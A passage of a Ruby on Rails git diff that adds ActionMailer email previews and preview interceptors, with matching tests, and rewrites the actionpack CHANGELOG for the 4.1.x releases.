+  # attachments list.
   module MailHelper
     # Take the text and format it, indented two spaces for each line, and
     # wrapped at 72 columns.
@@ -46,8 +49,9 @@ module ActionMailer
         end
       end
 
-      sentences.map { |sentence|
-        "#{" " * indent}#{sentence.join(' ')}"
+      indentation = " " * indent
+      sentences.map! { |sentence|
+        "#{indentation}#{sentence.join(' ')}"
       }.join "\n"
     end
   end
diff --git a/actionmailer/lib/action_mailer/preview.rb b/actionmailer/lib/action_mailer/preview.rb
new file mode 100644
index 0000000..33a9faa
--- /dev/null
+++ b/actionmailer/lib/action_mailer/preview.rb
@@ -0,0 +1,104 @@
+require 'active_support/descendants_tracker'
+
+module ActionMailer
+  module Previews #:nodoc:
+    extend ActiveSupport::Concern
+
+    included do
+      # Set the location of mailer previews through app configuration:
+      #
+      #     config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+      #
+      mattr_accessor :preview_path, instance_writer: false
+
+      # :nodoc:
+      mattr_accessor :preview_interceptors, instance_writer: false
+      self.preview_interceptors = []
+
+      # Register one or more Interceptors which will be called before mail is previewed.
+      def register_preview_interceptors(*interceptors)
+        interceptors.flatten.compact.each { |interceptor| register_preview_interceptor(interceptor) }
+      end
+
+      # Register an Interceptor which will be called before mail is previewed.
+      # Either a class or a string can be passed in as the Interceptor. If a
+      # string is passed in it will be <tt>constantize</tt>d.
+      def register_preview_interceptor(interceptor)
+        preview_interceptor = case interceptor
+          when String, Symbol
+            interceptor.to_s.camelize.constantize
+          else
+            interceptor
+          end
+
+        unless preview_interceptors.include?(preview_interceptor)
+          preview_interceptors << preview_interceptor
+        end
+      end
+    end
+  end
+
+  class Preview
+    extend ActiveSupport::DescendantsTracker
+
+    class << self
+      # Returns all mailer preview classes
+      def all
+        load_previews if descendants.empty?
+        descendants
+      end
+
+      # Returns the mail object for the given email name. The registered preview
+      # interceptors will be informed so that they can transform the message
+      # as they would if the mail was actually being delivered.
+      def call(email)
+        preview = self.new
+        message = preview.public_send(email)
+        inform_preview_interceptors(message)
+        message
+      end
+
+      # Returns all of the available email previews
+      def emails
+        public_instance_methods(false).map(&:to_s).sort
+      end
+
+      # Returns true if the email exists
+      def email_exists?(email)
+        emails.include?(email)
+      end
+
+      # Returns true if the preview exists
+      def exists?(preview)
+        all.any?{ |p| p.preview_name == preview }
+      end
+
+      # Find a mailer preview by its underscored class name
+      def find(preview)
+        all.find{ |p| p.preview_name == preview }
+      end
+
+      # Returns the underscored name of the mailer preview without the suffix
+      def preview_name
+        name.sub(/Preview$/, '').underscore
+      end
+
+      protected
+        def load_previews #:nodoc:
+          if preview_path
+            Dir["#{preview_path}/**/*_preview.rb"].each{ |file| require_dependency file }
+          end
+        end
+
+        def preview_path #:nodoc:
+          Base.preview_path
+        end
+
+        def inform_preview_interceptors(message) #:nodoc:
+          Base.preview_interceptors.each do |interceptor|
+            interceptor.previewing_email(message)
+          end
+        end
+    end
+  end
+end
diff --git a/actionmailer/lib/action_mailer/railtie.rb b/actionmailer/lib/action_mailer/railtie.rb
index 7677ff3..8d1e402 100644
--- a/actionmailer/lib/action_mailer/railtie.rb
+++ b/actionmailer/lib/action_mailer/railtie.rb
@@ -19,6 +19,10 @@ module ActionMailer
       options.javascripts_dir ||= paths["public/javascripts"].first
       options.stylesheets_dir ||= paths["public/stylesheets"].first
 
+      if Rails.env.development?
+        options.preview_path  ||= defined?(Rails.root) ? "#{Rails.root}/test/mailers/previews" : nil
+      end
+
       # make sure readers methods get compiled
       options.asset_host          ||= app.config.asset_host
       options.relative_url_root   ||= app.config.relative_url_root
@@ -40,5 +44,11 @@ module ActionMailer
         config.compile_methods! if config.respond_to?(:compile_methods!)
       end
     end
+
+    config.after_initialize do
+      if ActionMailer::Base.preview_path
+        ActiveSupport::Dependencies.autoload_paths << ActionMailer::Base.preview_path
+      end
+    end
   end
 end
diff --git a/actionmailer/lib/action_mailer/version.rb b/actionmailer/lib/action_mailer/version.rb
index 7faa489..a98aec9 100644
--- a/actionmailer/lib/action_mailer/version.rb
+++ b/actionmailer/lib/action_mailer/version.rb
@@ -1,11 +1,8 @@
+require_relative 'gem_version'
+
 module ActionMailer
-  # Returns the version of the currently loaded ActionMailer as a Gem::Version
+  # Returns the version of the currently loaded ActionMailer as a <tt>Gem::Version</tt>
   def self.version
-    Gem::Version.new "4.0.2"
-  end
-
-  module VERSION #:nodoc:
-    MAJOR, MINOR, TINY, PRE = ActionMailer.version.segments
-    STRING = ActionMailer.version.to_s
+    gem_version
   end
 end
diff --git a/actionmailer/test/abstract_unit.rb b/actionmailer/test/abstract_unit.rb
index 15729ba..93d16f4 100644
--- a/actionmailer/test/abstract_unit.rb
+++ b/actionmailer/test/abstract_unit.rb
@@ -11,15 +11,18 @@ end
 require 'active_support/testing/autorun'
 require 'action_mailer'
 require 'action_mailer/test_case'
+require 'mail'
 
-silence_warnings do
-  # These external dependencies have warnings :/
-  require 'mail'
-end
+# Emulate AV railtie
+require 'action_view'
+ActionMailer::Base.send(:include, ActionView::Layouts)
 
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
 
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
 # Bogus template processors
 ActionView::Template.register_template_handler :haml, lambda { |template| "Look its HAML!".inspect }
 ActionView::Template.register_template_handler :bak, lambda { |template| "Lame backup".inspect }
@@ -60,4 +63,11 @@ def restore_delivery_method
   ActionMailer::Base.delivery_method = @old_delivery_method
 end
 
-ActiveSupport::Deprecation.silenced = true
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+  skip message if RUBY_ENGINE == 'rbx'
+end
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+  skip message if defined?(JRUBY_VERSION)
+end
diff --git a/actionmailer/test/base_test.rb b/actionmailer/test/base_test.rb
index b74728a..b66e5bd 100644
--- a/actionmailer/test/base_test.rb
+++ b/actionmailer/test/base_test.rb
@@ -13,6 +13,7 @@ class BaseTest < ActiveSupport::TestCase
   def teardown
     ActionMailer::Base.asset_host = nil
     ActionMailer::Base.assets_dir = nil
+    ActionMailer::Base.preview_interceptors.clear
   end
 
   test "method call to mail does not raise error" do
@@ -530,6 +531,13 @@ class BaseTest < ActiveSupport::TestCase
     mail.deliver
   end
 
+  test "you can register an observer using its symbolized underscored name to the mail object that gets informed on email delivery" do
+    ActionMailer::Base.register_observer(:"base_test/my_observer")
+    mail = BaseMailer.welcome
+    MyObserver.expects(:delivered_email).with(mail)
+    mail.deliver
+  end
+
   test "you can register multiple observers to the mail object that both get informed on email delivery" do
     ActionMailer::Base.register_observers("BaseTest::MyObserver", MySecondObserver)
     mail = BaseMailer.welcome
@@ -539,12 +547,18 @@ class BaseTest < ActiveSupport::TestCase
   end
 
   class MyInterceptor
-    def self.delivering_email(mail)
-    end
+    def self.delivering_email(mail); end
+    def self.previewing_email(mail); end
   end
 
   class MySecondInterceptor
-    def self.delivering_email(mail)
+    def self.delivering_email(mail); end
+    def self.previewing_email(mail); end
+  end
+
+  class BaseMailerPreview < ActionMailer::Preview
+    def welcome
+      BaseMailer.welcome
     end
   end
 
@@ -562,6 +576,13 @@ class BaseTest < ActiveSupport::TestCase
     mail.deliver
   end
 
+  test "you can register an interceptor using its symbolized underscored name to the mail object that gets passed the mail object before delivery" do
+    ActionMailer::Base.register_interceptor(:"base_test/my_interceptor")
+    mail = BaseMailer.welcome
+    MyInterceptor.expects(:delivering_email).with(mail)
+    mail.deliver
+  end
+
   test "you can register multiple interceptors to the mail object that both get passed the mail object before delivery" do
     ActionMailer::Base.register_interceptors("BaseTest::MyInterceptor", MySecondInterceptor)
     mail = BaseMailer.welcome
@@ -570,6 +591,39 @@ class BaseTest < ActiveSupport::TestCase
     mail.deliver
   end
 
+  test "you can register a preview interceptor to the mail object that gets passed the mail object before previewing" do
+    ActionMailer::Base.register_preview_interceptor(MyInterceptor)
+    mail = BaseMailer.welcome
+    BaseMailerPreview.any_instance.stubs(:welcome).returns(mail)
+    MyInterceptor.expects(:previewing_email).with(mail)
+    BaseMailerPreview.call(:welcome)
+  end
+
+  test "you can register a preview interceptor using its stringified name to the mail object that gets passed the mail object before previewing" do
+    ActionMailer::Base.register_preview_interceptor("BaseTest::MyInterceptor")
+    mail = BaseMailer.welcome
+    BaseMailerPreview.any_instance.stubs(:welcome).returns(mail)
+    MyInterceptor.expects(:previewing_email).with(mail)
+    BaseMailerPreview.call(:welcome)
+  end
+
+  test "you can register an interceptor using its symbolized underscored name to the mail object that gets passed the mail object before previewing" do
+    ActionMailer::Base.register_preview_interceptor(:"base_test/my_interceptor")
+    mail = BaseMailer.welcome
+    BaseMailerPreview.any_instance.stubs(:welcome).returns(mail)
+    MyInterceptor.expects(:previewing_email).with(mail)
+    BaseMailerPreview.call(:welcome)
+  end
+
+  test "you can register multiple preview interceptors to the mail object that both get passed the mail object before previewing" do
+    ActionMailer::Base.register_preview_interceptors("BaseTest::MyInterceptor", MySecondInterceptor)
+    mail = BaseMailer.welcome
+    BaseMailerPreview.any_instance.stubs(:welcome).returns(mail)
+    MyInterceptor.expects(:previewing_email).with(mail)
+    MySecondInterceptor.expects(:previewing_email).with(mail)
+    BaseMailerPreview.call(:welcome)
+  end
+
   test "being able to put proc's into the defaults hash and they get evaluated on mail sending" do
     mail1 = ProcMailer.welcome['X-Proc-Method']
     yesterday = 1.day.ago
@@ -671,6 +725,27 @@ class BaseTest < ActiveSupport::TestCase
     assert_equal ["robert.pankowecki at gmail.com"], DefaultFromMailer.welcome.from
   end
 
+  test "mail() without arguments serves as getter for the current mail message" do
+    class MailerWithCallback < ActionMailer::Base
+      after_action :a_callback
+
+      def welcome
+        headers('X-Special-Header' => 'special indeed!')
+        mail subject: "subject", body: "hello world", to: ["joe at example.com"]
+      end
+
+      def a_callback
+        mail.to << "jane at example.com"
+      end
+    end
+
+    mail = MailerWithCallback.welcome
+    assert_equal "subject", mail.subject
+    assert_equal ["joe at example.com", "jane at example.com"], mail.to
+    assert_equal "hello world", mail.body.encoded.strip
+    assert_equal "special indeed!", mail["X-Special-Header"].to_s
+  end
+
   protected
 
     # Execute the block setting the given values and restoring old values after
diff --git a/actionmailer/test/delivery_methods_test.rb b/actionmailer/test/delivery_methods_test.rb
index 20412c7..6099036 100644
--- a/actionmailer/test/delivery_methods_test.rb
+++ b/actionmailer/test/delivery_methods_test.rb
@@ -38,8 +38,10 @@ class DefaultsDeliveryMethodsTest < ActiveSupport::TestCase
   end
 
   test "default sendmail settings" do
-    settings = {location:  '/usr/sbin/sendmail',
-                arguments: '-i -t'}
+    settings = {
+      location:  '/usr/sbin/sendmail',
+      arguments: '-i -t'
+    }
     assert_equal settings, ActionMailer::Base.sendmail_settings
   end
 end
@@ -138,13 +140,15 @@ class MailDeliveryTest < ActiveSupport::TestCase
   end
 
   test "default delivery options can be overridden per mail instance" do
-    settings = { address:              "localhost",
-                 port:                 25,
-                 domain:               'localhost.localdomain',
-                 user_name:            nil,
-                 password:             nil,
-                 authentication:       nil,
-                 enable_starttls_auto: true }
+    settings = {
+      address: "localhost",
+      port: 25,
+      domain: 'localhost.localdomain',
+      user_name: nil,
+      password: nil,
+      authentication: nil,
+      enable_starttls_auto: true
+    }
     assert_equal settings, ActionMailer::Base.smtp_settings
     overridden_options = {user_name: "overridden", password: "somethingobtuse"}
     mail_instance = DeliveryMailer.welcome(delivery_method_options: overridden_options)
@@ -164,6 +168,13 @@ class MailDeliveryTest < ActiveSupport::TestCase
     end
   end
 
+  test "undefined delivery methods raises errors" do
+    DeliveryMailer.delivery_method = nil
+    assert_raise RuntimeError do
+      DeliveryMailer.welcome.deliver
+    end
+  end
+
   test "does not perform deliveries if requested" do
     DeliveryMailer.perform_deliveries = false
     DeliveryMailer.deliveries.clear
diff --git a/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb b/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb
index 30466dd..d676a6d 100644
--- a/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb
+++ b/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb
@@ -1 +1 @@
-<%= t('.greet_user', :name => 'lifo') %>
\ No newline at end of file
+<%= t('.greet_user', name: 'lifo') %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb b/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb
index a93c30e..ae3cfa7 100644
--- a/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb
+++ b/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb
@@ -1 +1 @@
-Hey Ho, <%= render :partial => "subtemplate" %>
\ No newline at end of file
+Hey Ho, <%= render partial: "subtemplate" %>
\ No newline at end of file
diff --git a/actionmailer/test/i18n_with_controller_test.rb b/actionmailer/test/i18n_with_controller_test.rb
index a3e93c9..14a1b11 100644
--- a/actionmailer/test/i18n_with_controller_test.rb
+++ b/actionmailer/test/i18n_with_controller_test.rb
@@ -1,4 +1,5 @@
 require 'abstract_unit'
+require 'action_view'
 require 'action_controller'
 
 class I18nTestMailer < ActionMailer::Base
diff --git a/actionmailer/test/log_subscriber_test.rb b/actionmailer/test/log_subscriber_test.rb
index 5f52a1b..5f0bee8 100644
--- a/actionmailer/test/log_subscriber_test.rb
+++ b/actionmailer/test/log_subscriber_test.rb
@@ -24,10 +24,13 @@ class AMLogSubscriberTest < ActionMailer::TestCase
   def test_deliver_is_notified
     BaseMailer.welcome.deliver
     wait
+
     assert_equal(1, @logger.logged(:info).size)
     assert_match(/Sent mail to system at test.lindsaar.net/, @logger.logged(:info).first)
-    assert_equal(1, @logger.logged(:debug).size)
-    assert_match(/Welcome/, @logger.logged(:debug).first)
+
+    assert_equal(2, @logger.logged(:debug).size)
+    assert_match(/BaseMailer#welcome: processed outbound mail in [\d.]+ms/, @logger.logged(:debug).first)
+    assert_match(/Welcome/, @logger.logged(:debug).second)
   end
 
   def test_receive_is_notified
@@ -39,4 +42,4 @@ class AMLogSubscriberTest < ActionMailer::TestCase
     assert_equal(1, @logger.logged(:debug).size)
     assert_match(/Jamis/, @logger.logged(:debug).first)
   end
-end
\ No newline at end of file
+end
diff --git a/actionmailer/test/mailers/base_mailer.rb b/actionmailer/test/mailers/base_mailer.rb
index 6584bf5..bd991e2 100644
--- a/actionmailer/test/mailers/base_mailer.rb
+++ b/actionmailer/test/mailers/base_mailer.rb
@@ -120,7 +120,7 @@ class BaseMailer < ActionMailer::Base
   end
 
   def with_nil_as_return_value
-    mail(:template_name => "welcome")
+    mail(template_name: "welcome")
     nil
   end
 
diff --git a/actionpack/CHANGELOG.md b/actionpack/CHANGELOG.md
index 0f0c2d5..46a24c5 100644
--- a/actionpack/CHANGELOG.md
+++ b/actionpack/CHANGELOG.md
@@ -1,1462 +1,673 @@
-*   Ensure simple_format escapes its html attributes. This fixes CVE-2013-6416
+## Rails 4.1.4 (July 2, 2014) ##
 
-*   Deep Munge the parameters for GET and POST Fixes CVE-2013-6417
+*   No changes.
 
-*   Stop using i18n's built in HTML error handling.  Fixes: CVE-2013-4491
 
-*   Escape the unit value provided to number_to_currency Fixes CVE-2013-6415
+## Rails 4.1.3 (July 2, 2014) ##
 
-*   Only use valid mime type symbols as cache keys CVE-2013-6414
+*   No changes.
 
 
-## Rails 4.0.1 (November 01, 2013) ##
+## Rails 4.1.2 (June 26, 2014) ##
 
-*   Respect `SCRIPT_NAME` when using `redirect` with a relative path
-
-    Example:
-        # application routes.rb
-        mount BlogEngine => '/blog'
-
-        # engine routes.rb
-        get '/admin' => redirect('admin/dashboard')
-
-    This now redirects to the path `/blog/admin/dashboard`, whereas before it would've
-    generated an invalid url because there would be no slash between the host name and
-    the path. It also allows redirects to work where the application is deployed to a
-    subdirectory of a website.
-
-    Fixes #7977.
-
-    *Andrew White*
-
-*   Fix `ActionDispatch::RemoteIp::GetIp#calculate_ip` to only check for spoofing
-    attacks if both `HTTP_CLIENT_IP` and `HTTP_X_FORWARDED_FOR` are set.
-
-    Fixes #10844.
-
-    *Tamir Duberstein*
-
-*   Strong parameters should permit nested number as key.
-
-    Fixes #12293.
-
-    *kennyj*
-
-*   Fix `collection_check_boxes` generated hidden input to use the name attribute provided
-    in the options hash.
-
-    *Angel N. Sciortino*
-
-*   Fix some edge cases for AV `select` helper with `:selected` option
-
-    *Bogdan Gusiev*
-
-*   Handle `:namespace` form option in collection labels
+*   Fix URL generation with `:trailing_slash` such that it does not add
+    a trailing slash after `.:format`
 
-    *Vasiliy Ermolovich*
-
-*   Fix an issue where router can't recognize downcased url encoding path.
-
-    Fixes #12269.
-
-    *kennyj*
-
-*   Fix custom flash type definition. Misusage of the `_flash_types` class variable
-    caused an error when reloading controllers with custom flash types.
-
-    Fixes #12057.
-
-    *Ricardo de Cillo*
-
-*   Do not break params filtering on `nil` values.
-
-    Fixes #12149.
+    *Dan Langevin*
 
-    *Vasiliy Ermolovich*
+*   Fix an issue with migrating legacy json cookies.
 
-*   Fix `excerpt` when `:separator` is `nil`.
+    Previously, the `VerifyAndUpgradeLegacySignedMessage` assumed all incoming
+    cookies were marshal-encoded. This was not the case when `secret_token` was
+    used in conjunction with the `:json` or `:hybrid` serializer.
 
-    *Paul Nikitochkin*
+    In those cases, when upgrading to use `secret_key_base`, this would cause a
+    `TypeError: incompatible marshal file format` and a 500 error for the user.
 
-*   Make Live Streaming work with basic authentication or builder.
+    Fixes #14774.
 
-    Fixes #10984.
+    *Godfrey Chan*
 
-    *Aaron Patterson*
+*   `http_basic_authenticate_with` only checks the authentication if the schema is
+    `Basic`.
 
-*   Always use `Rack::Sendfile` to make possible to it be automatically
-    configured by the webserver.
+    Fixes #10257.
 
-    Fixes #11440.
+    *tomykaira*
 
-    *Martin Schürrer*
+*   Fix `'Stack level too deep'` when rendering `head :ok` in an action method
+    called 'status' in a controller.
 
-*   Flag cookies as secure with ignore case in `ActionDispatch::SSL`.
+    Fixes #13905.
 
-    *Yamagishi Kazutoshi*
+    *Christiaan Van den Poel*
 
-*   Don't include STS header in non-HTTPS responses.
+*   Always use the provided port if the protocol is relative.
 
-    *Geoff Buesing*
+    Fixes #15043.
 
-*   Fix an issue where rails raise exception about missing helper where it
-    should throw `LoadError`. When helper file exists and only loaded file from
-    this helper does not exist rails should throw LoadError instead of
-    `MissingHelperError`.
+    *Guilherme Cavalcanti*, *Andrew White*
 
-    *Piotr Niełacny*
+*   Append a link in the backtrace to the bad code when a `SyntaxError` exception occurs.
 
-*   Only cache template digests if `config.cache_template_loading` is true.
+    *Boris Kuznetsov*
 
-    *Josh Lauer*, *Justin Ridgewell*
+*   Make URL escaping more consistent:
 
-*   Fix an issue where `:if` and `:unless` controller action procs were being run
-    before checking for the correct action in the `:only` and `:unless` options.
+    1. Escape '%' characters in URLs - only unescaped data should be passed to URL helpers
+    2. Add an `escape_segment` helper to `Router::Utils` that escapes '/' characters
+    3. Use `escape_segment` rather than `escape_fragment` in optimized URL generation
+    4. Use `escape_segment` rather than `escape_path` in URL generation
 
-    Fixes #11799.
+    For point 4 there are two exceptions. Firstly, when a route uses wildcard segments
+    (e.g. `*foo`) then we use `escape_path` as the value may contain '/' characters. This
+    means that wildcard routes can't be optimized. Secondly, if a `:controller` segment
+    is used in the path then this uses `escape_path` as the controller may be namespaced.
 
-    *Nicholas Jakobsen*
+    Fixes #14629, #14636 and #14070.
 
-*   Fix an issue where `assert_dom_equal` and `assert_dom_not_equal` were
-    ignoring the passed failure message argument.
+    *Andrew White*, *Edho Arief*
 
-    Fixes #11751.
-
-    *Ryan McGeary*
+*   Returns a null type format when the format is not known and the controller is using an
+    `any` format block.
 
-*   Fix `current_page?` when the URL contains escaped characters and the
-    original URL is using the hexadecimal lowercased.
+    Fixes #14462.
 
     *Rafael Mendonça França*
 
-*   Allow `REMOTE_ADDR`, `HTTP_HOST` and `HTTP_USER_AGENT` to be overridden from
-    the environment passed into `ActionDispatch::TestRequest.new`.
-
-    Fixes #11590.
-
-    *Andrew White*
-
-*   Fix `text_area` to behave like `text_field` when `nil` is given as
-    value.
-
-    Before:
-
-        f.text_field :field, value: nil #=> <input value="">
-        f.text_area :field, value: nil  #=> <textarea>value of field</textarea>
-
-    After:
-
-        f.text_area :field, value: nil  #=> <textarea></textarea>
-
-    *Joel Cogen*
-
-*   Fix an issue where Journey was failing to clear the named routes hash when the
-    routes were reloaded and since it doesn't overwrite existing routes then if a
-    route changed but wasn't renamed it kept the old definition. This was being
-    masked by the optimised url helpers so it only became apparent when passing an
-    options hash to the url helper.
-
-    *Andrew White*
-
-*   Skip routes pointing to a redirect or mounted application when generating urls
-    using an options hash as they aren't relevant and generate incorrect urls.
-
-    Fixes #8018.
-
-    *Andrew White*
-
-*   Fix default rendered format problem when calling `render` without `:content_type` option.
-    It should return `:html`.
-
-    Fixes #11393.
-
-    *Gleb Mazovetskiy*, *Oleg*, *kennyj*
-
-*   Fix `ActionDispatch::ParamsParser#parse_formatted_parameters` to rewind body input stream on
-    parsing json params.
-
-    Fixes #11345.
-
-    *Yuri Bol*, *Paul Nikitochkin*
+*   Only make deeply nested routes shallow when the parent is shallow.
 
-*   Fix `link_to` with block and url hashes.
+    Fixes #14684.
 
-    Before:
+    *Andrew White*, *James Coglan*
 
-        link_to(action: 'bar', controller: 'foo') { content_tag(:span, 'Example site') }
-        # => "<a action=\"bar\" controller=\"foo\"><span>Example site</span></a>"
 
-    After:
+## Rails 4.1.1 (May 6, 2014) ##
 
-        link_to(action: 'bar', controller: 'foo') { content_tag(:span, 'Example site') }
-        # => "<a href=\"/foo/bar\"><span>Example site</span></a>"
+*   Only accept actions without `File::SEPARATOR` in the name.
 
-    *Murahashi Sanemat Kenichi*
+    This will avoid directory traversal in implicit render.
 
-*   Fix "Stack Level Too Deep" error when redering recursive partials.
-
-    Fixes #11340.
+    Fixes: CVE-2014-0130
 
     *Rafael Mendonça França*
 
-*   Pick `DateField` `DateTimeField` and `ColorField` values from stringified options allowing use of symbol keys with helpers.
-
-    *Jon Rowe*
-
-*   Fix `Mime::Type.parse` when bad accepts header is looked up. Previously it
-    was setting `request.formats` with an array containing a `nil` value, which
-    raised an error when setting the controller formats.
-
-    Fixes #10965.
-
-    *Becker*
-
-*   Always escape the result of `link_to_unless` method.
-
-    Before:
-
-        link_to_unless(true, '<b>Showing</b>', 'github.com')
-        # => "<b>Showing</b>"
-
-    After:
-
-        link_to_unless(true, '<b>Showing</b>', 'github.com')
-        # => "<b>Showing</b>"
-
-    *dtaniwaki*
-
-
-## Rails 4.0.0 (June 25, 2013) ##
-
-*   Merge `:action` from routing scope and assign endpoint if both `:controller`
-    and `:action` are present. The endpoint assignment only occurs if there is
-    no `:to` present in the options hash so should only affect routes using the
-    shorthand syntax (i.e. endpoint is inferred from the the path).
-
-    Fixes #9856
-
-    *Yves Senn*, *Andrew White*
-
-*   Use a case insensitive URI Regexp for #asset_path.
-
-    This fix a problem where the same asset path using different case are generating
-    different URIs.
-
-    Before:
-
-        image_tag("HTTP://google.com")
-        # => "<img alt=\"Google\" src=\"/assets/HTTP://google.com\" />"
-        image_tag("http://google.com")
-        # => "<img alt=\"Google\" src=\"http://google.com\" />"
-
-    After:
-
-        image_tag("HTTP://google.com")
-        # => "<img alt=\"Google\" src=\"HTTP://google.com\" />"
-        image_tag("http://google.com")
-        # => "<img alt=\"Google\" src=\"http://google.com\" />"
-
-    *David Celis*
-
-*   Add `has_named_route?(route_name)` to the mapper API.
-
-    *José Valim*
 
-*   Fix an issue where partials with a number in the filename weren't being digested for cache dependencies.
+## Rails 4.1.0 (April 8, 2014) ##
 
-    *Bryan Ricker*
+*   Swap the parameters of assert_equal in `assert_select` so that the
+    proper values are printed correctly
 
-*   Add support for passing custom url options other than `:host` and custom
-    status and flash options to `force_ssl`.
+    Fixes #14422.
 
-    *Andrew White*
-
-*   The `force_ssl` command now builds the redirect url from `request.fullpath`.
-    This ensures that the format is maintained and it doesn't redirect to a route
-    that has the same parameters but is defined earlier in `routes.rb`. Also any
-    optional segments are maintained.
-
-    Fixes #7528, #9061, #10305.
-
-    *Andrew White*
-
-*   Return a 405 Method Not Allowed response when a request contains an unknown
-    HTTP method.
+    *Vishal Lal*
 
-    *Lewis Marshall*
+*   The method `shallow?` returns false if the parent resource is a singleton, so
+    we need to check if we're not inside a nested scope before copying the :path
+    and :as options to their shallow equivalents.
 
-*   Add support for extracting the port from the `:host` option passed to `url_for`.
+    Fixes #14388.
 
     *Andrew White*
 
-*   Add support for removing the subdomain from a url by passing `nil`, `false` or `''`.
-    Fixes #10180.
-
-    *Derek Watson + Andrew White*
-
-*   Element of the collection for `options_from_collection_for_select` helper can
-    optionally contain html attributes as the last element of the array as
-    `options_for_select` helper.
-
-    *Vasiliy Ermolovich*
-
-*   Fix explicit names on multiple file fields. If a file field tag has
-    the multiple option, it is turned into an array field (appending `[]`),
-    but if an explicit name is passed to `file_field` the `[]` is not
-    appended.
-    Fixes #9830.
-
-    *Ryan McGeary*
-
-*   Add block support for the `mail_to` helper, similar to the `link_to` helper.
-
-    *Sam Pohlenz*
 
-*   Automatically configure cookie-based sessions to be encrypted if
-    `secret_key_base` is set, falling back to signed if only `secret_token`
-    is set. Automatically upgrade existing signed cookie-based sessions from
-    Rails 3.x to be encrypted if both `secret_key_base` and `secret_token`
-    are set, or signed with the new key generator if only `secret_token` is
-    set. This leaves only the `config.session_store :cookie_store` option and
-    removes the two new options introduced in 4.0.0.beta1:
-    `encrypted_cookie_store` and `upgrade_signature_to_encryption_cookie_store`.
+## Rails 4.1.0 (April 8, 2014) ##
 
-    *Trevor Turk*
+*   Fix URL generation in controller tests with request-dependent
+    `default_url_options` methods.
 
-*   Ensure consistent fallback to the default layout lookup for layouts set
-    using symbols or procs that return `nil`.
+    *Tony Wooster*
 
-    All of the following layouts will result in the default layout lookup:
+*   Introduce `render :html` as an option to render HTML content with a content
+    type of `text/html`. This rendering option calls `ERB::Util.html_escape`
+    internally to escape unsafe HTML strings, so you will need to mark a
+    string as `html_safe` if it contains any HTML tag.
 
-        layout nil
+    See #14062, #12374.
 
-        layout proc { nil }
-
-        layout :returns_nil
-        def returns_nil
-          nil
-        end
-
-    Previously symbols and procs which returned `nil` resulted in no layout which
-    differed from the `layout nil` behavior. To get the "no layout" behavior just
-    return `false` instead of `nil` for `layout`.
+    *Prem Sichanugrist*
 
-    *Chris Nicola*
+*   Introduce `render :plain` as an option to render content with a content type
+    of `text/plain`. This is the preferred option if you are planning to render
+    a plain text content.
 
-*   Create `UpgradeLegacySignedCookieJar` to transparently upgrade existing signed
-    cookies generated by Rails 3.x to avoid invalidating them when upgrading to Rails 4.x.
+    See #14062, #12374.
 
-    *Trevor Turk + Neeraj Singh*
+    *Prem Sichanugrist*
 
-*   Raise an `ArgumentError` when a clashing named route is defined.
+*   Introduce `render :body` as an option for sending a raw content back to
+    browser. Note that this rendering option does not include "Content-Type"
+    header back in the response.
 
-    *Trevor Turk*
+    You should only use this option if you don't care about the content type
+    of the response. More information on "Content-Type" header can be found
+    on RFC 2616, section 7.2.1.
 
-*   Allow default url options to accept host with protocol such as `http://`
+    See #14062, #12374.
 
-        config.action_mailer.default_url_options = { host: "http://mydomain.com" }
+    *Prem Sichanugrist*
 
-    *Richard Schneeman*
+*   Set stream status to 500 (or 400 on BadRequest) when an error is thrown
+    before committing.
 
-*   Ensure that digest authentication responds with a 401 status when a basic
-    header is received.
+    Fixes #12552.
 
-    *Brad Dunbar*
+    *Kevin Casey*
 
-*   Include I18n locale fallbacks in view lookup.
-    Fixes #3512.
+*   Add a new config option `config.action_dispatch.cookies_serializer` for
+    specifying a serializer for the signed and encrypted cookie jars.
 
-    *Juan Barreneche*
+    The possible values are:
 
-*   Integration and functional tests allow headers and rack env
-    variables to be passed when performing requests.
-    Fixes #6513.
+    * `:json` - serialize cookie values with `JSON`
+    * `:marshal` - serialize cookie values with `Marshal`
+    * `:hybrid` - transparently migrate existing `Marshal` cookie values to `JSON`
 
-    Example:
+    For new apps the `:json` option is added by default and `:marshal` is used
+    when no option is specified to maintain backwards compatibility.
 
-        # integration test
-        get "/success", {}, "HTTP_REFERER" => "http://test.com/",
-                            "Accepts" => "text/plain, text/html"
+    *Łukasz Sarnacki*, *Matt Aimonetti*, *Guillermo Iguaran*, *Godfrey Chan*, *Rafael Mendonça França*
 
-        # functional test
-        @request.headers["Accepts"] = "text/plain, text/html"
+*   `FlashHash` now behaves like a `HashWithIndifferentAccess`.
 
-    *Yves Senn*
+    *Guillermo Iguaran*
 
-*   Http::Headers respects headers that are not prefixed with HTTP_
+*   Set the `:shallow_path` scope option as each scope is generated rather than
+    waiting until the `shallow` option is set. Also make the behavior of the
+    `:shallow` resource option consistent with the behavior of the `shallow` method.
 
-    *Yves Senn*
+    Fixes #12498.
 
-*   Fix incorrectly appended square brackets to a multiple select box
-    if an explicit name has been given and it already ends with "[]"
+    *Andrew White*, *Aleksi Aalto*
 
-    Before:
+*   Properly require `action_view` in `AbstractController::Rendering` to prevent
+    an uninitialized constant error for `ENCODING_FLAG`.
 
-        select(:category, [], {}, multiple: true, name: "post[category][]")
-        # => <select name="post[category][][]" ...>
+    *Philipe Fatio*
 
-    After:
+*   Do not discard query parameters that form a hash with the same root key as
+    the `wrapper_key` for a request using `wrap_parameters`.
 
-        select(:category, [], {}, multiple: true, name: "post[category][]")
-        # => <select name="post[category][]" ...>
+    *Josh Jordan*
 
-    *Olek Janiszewski*
+*   Ensure that `request.filtered_parameters` is reset between calls to `process`
+    in `ActionController::TestCase`.
 
-*   Fixed regression when using `assert_template` to verify files sent using
-    `render file: 'README.md'`.
-    Fixes #9464.
+    Fixes #13803.
 
-    *Justin Coyne*
+    *Andrew White*
 
